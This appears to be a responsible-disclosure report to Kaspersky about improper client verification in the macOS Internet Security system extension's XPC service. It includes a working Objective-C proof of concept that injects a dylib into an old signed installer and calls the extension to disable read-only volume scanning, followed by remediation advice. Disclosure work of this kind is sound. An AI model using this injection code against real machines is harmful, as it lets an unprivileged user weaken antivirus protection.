> Note! Thank you for your report. For the purposes of the further analysis of the vulnerability, that you kindly report to us, could you please fill all fields [in square brackets]. This information will help us to respond you more quickly and triage your report. Thanks a lot for your assistance.
Summary
Kaspersky Internet Security uses endpoint security system extension (SEXT) from Big Sur. The system extension performs all of the AV functionality, like process monitoring, network monitoring, etc… the configuration of the SEXT is performed via XPC. Due to improper client verification on the XPC service a normal user can achieve full control of the extension and potentially disable all AV functionality.
Description
The Mach service name for the XPC connection can be found in the Info.plist
file of the system extension.
<key>NEMachServiceName</key>
███
Using this string we can initiate connection. The handler for the first contact is the shouldAcceptNewConnection:
method of the IPCService
class.
/* @class IPCService */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
rbx = self;
r15 = [arg3 retain];
var_48 = objc_opt_new(@class(NSString));
rax = [r15 processIdentifier];
r14 = rax;
█████████
loc_100005a0a:
if ([*(rbx + 0x10) isEqualToString:var_48] == 0x0) goto loc_100005b1b;
loc_100005a27:
rax = [NSXPCInterface interfaceWithProtocol:@protocol(IPCServiceProtocol)];
The service only verifies if the Team ID is the one expected, but nothing else. Unfortunately this allows someone talk to the XPC service who can inject code into a custom Kaspersky process. The latest version of the AV is properly hardened against injection attacks, however that is not tru to older versions. What an attacker can do is downloading an old version of KIS and injecting code into that.
Downloading the kavmac20.0.0.829aar_cs_da_de_en_es_es_fi_fr_it_nb_nl_pl_pt_pt_ru_sv_tr_21444.dmg
contains an installer that allows the injection of custom dylibs as library validation is disabled via the com.apple.security.cs.disable-library-validation
entitlement.
Executable=/Volumes/Kaspersky Internet Security/Kaspersky Downloader.app/Contents/MacOS/Downloader
Identifier=com.kaspersky.kav.downloader
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=8072 flags=0x10000(runtime) hashes=243+5 location=embedded
Signature size=8985
Timestamp=2019. Oct 9. 13:20:29
Info.plist entries=18
TeamIdentifier=2Y8XE5CQ94
Runtime Version=10.14.0
Sealed Resources version=2 rules=13 files=155
Internal requirements count=1 size=188
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
</dict>
</plist>
We will use a technique called dylib proxying. We will replace the libkl_appkit.dylib
what we can find in the Installer’s folder.
% ls -l /Volumes/Kaspersky\ Internet\ Security/Kaspersky\ Downloader.app/Contents/MacOS
total 3392
-rwxr-xr-x 1 csaby staff 1015904 Oct 9 2019 Downloader
-rwxr-xr-x 1 csaby staff 569152 Oct 9 2019 libkl_appkit.dylib
-rwxr-xr-x 1 csaby staff 144256 Oct 9 2019 libz.1.2.11.dylib
Also we will prepare putting this installer in the /Users/Shared
directory. Our POC needs to be prepared as follows.
████████
██████
█████████
█████
libkl_appkit_orig.dylib
.Then if we execute the installer our dylib will be loaded.
The POC looks as follows:
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"2Y8XE5CQ94.com.kaspersky.kav.sysext";
@protocol IPCServiceProtocol <NSObject>
- (void)getEndpointForProtocol:(NSString *)arg1 withReply:(void (^)(NSError *, NSXPCListenerEndpoint *))arg2;
@end
@protocol FileMonitorProtocol
- (void)DisableReadonlyVolumeScan:(BOOL)arg1 reply:(void (^)(BOOL))arg2;
- (void)StartFileMonitor:(void (^)(BOOL))arg1;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(IPCServiceProtocol)]];
[_agentConnection resume];
id agent = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
//we first get the FileMonitorProtocol as an NSXPCListenerEndpoint
[agent getEndpointForProtocol:@"FileMonitorProtocol" withReply:^(NSError * err, NSXPCListenerEndpoint * endpoint) {
NSLog(@"Reply, %@", err);
//once we get the NSXPCListenerEndpoint, we can create a new connection and use its methods
NSXPCConnection* processConnection = [[NSXPCConnection alloc] initWithListenerEndpoint:endpoint];
[processConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(FileMonitorProtocol)]];
[processConnection resume];
id remoteObjectProxy = [processConnection remoteObjectProxy];
[remoteObjectProxy DisableReadonlyVolumeScan:1 reply:^(BOOL b){
NSLog(@"Reply, %hhd", b);
}];
}];
NSLog(@"Done");
}
First we setup our connection, and we can only invoke one method, which is the getEndpointForProtocol
. This is the function what we can use to get the XPC endpoint for the various functionalities. The connection is no longer verified at those protocols.
In the POC I ask for the FileMonitorProtocol
, but I could do any other (e.g.: ConnectionInterceptorProtocol
), there are plenty.
Once I get back the endpoint, I setup a new connection and invoke the DisableReadonlyVolumeScan
method, which will disable the scan of read only volumes.
This will be reflected in the system logs upon execution:
FileMonitor: disabling read-only volume scan
It also reveals a bug in the UI, as the KIS UI is not updated reflecting the change, there is no “pull” of the current configuration from the system extension, so the UI and the SEXT will be out of sync.
shouldAcceptNewConnection
call should verify the the following:a. The connecting process is signed by Apple
b. The connecting process is signed by your team ID
c. The connecting process is identified by your bundle ID
d. The connecting process has a minimum software version, where the fix has been implemented or it’s hardened against injection attacks.
For identifying the client at first place, the audit_token
should be used instead of the PID, as the second is vulnerable to PID reuse attacks.
com.apple.security.cs.allow-dyld-environment-variables
com.apple.security.cs.disable-library-validation
com.apple.security.get-task-allow
as these entitlements would allow another process to inject code into the app, and thus allowing it to talk to the SEXT.
Environment
Steps to reproduce
The old version of KIS installer with the compiled and injected dylib attached. Extract it in /Users/Shared
and run. Monitoring the logs the message FileMonitor: disabling read-only volume scan
will show up from the process com.kaspersky.kav.sysext
.
Alternatively attached the source code for the poc, and prepare it (/Users/Shared/Kaspersky Downloader.app
should be downloaded before):
████████
████████
██████
█████████
Other info
NA
Full control of the AV as normal user